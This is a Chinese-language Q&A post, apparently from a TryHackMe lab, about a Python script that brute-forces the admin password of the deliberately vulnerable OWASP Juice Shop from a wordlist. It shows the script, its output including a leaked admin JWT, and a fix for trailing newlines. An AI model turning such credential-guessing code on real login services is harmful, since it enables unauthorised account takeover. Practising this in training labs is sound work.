问题描述
我正在使用 Owasp 果汁店网站,并尝试实施暴力破解器来破解管理员密码。
这是我的代码:
#! /usr/bin/env python3
import requests
def try_login(password):
url = "http://10.10.187.141/rest/user/login"
req = requests.post(url,data = {"email":"admin@juice-sh.op","password":password})
return req
wordlist = open('testlist.txt','r')
list = wordlist.readlines()
for item in list:
req = try_login(item)
print(item)
print(req.text)
我知道密码是“admin123”,我使用的词表有这个条目。 当我运行脚本时,如果在尝试输入正确的密码时得到无效的密码响应。
如果我调用 try_login 函数直接传递“admin123”:
req = try_login('admin123')
print(item)
print(req.text)
我得到登录成功的响应
我的 testlist.txt 的内容
aaa
admin
admin1
admin12
admin123
adminadmin
我的脚本输出
root@kali:~/thm/brute_forcing# python brute.py
aaa
Invalid email or password.
admin
Invalid email or password.
admin1
Invalid email or password.
admin12
Invalid email or password.
admin123
Invalid email or password.
adminadmin
Invalid email or password.
adminadmin
当我直接传递正确密码时的输出:
{"authentication":{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIxMC45LjIwNy4xNDAiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHQuc3ZnIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDIxLTAyLTI2IDE4OjA2OjE4LjYyMiArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDIxLTAyLTI2IDE5OjM4OjE2LjI3NSArMDA6MDAiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE2MTQzNjk2MjMsImV4cCI6MTYxNDM4NzYyM30.C8i0CXA0F7KC33zS_EyJxnPRSP23bNMbkv3lldaifvS0qwaE26cpIDuW9iS1VgabQQi15KqVqpJdeUPS1PIRjHNAxRHepQF2UxY_mjIF7fiDtST1FG6ZSb05M9N-0dt_wxWBSzTeJHX2p4ixu0GD5pZ3yjJZK9QzHg6IoFjajIQ","bid":1,"umail":"admin@juice-sh.op"}}
有人知道为什么会有差异吗?
解决方法
当从文件中读取时,您的字符串可能以换行符“\n”结尾。
试试这个:
try_login(item.replace("\n",""))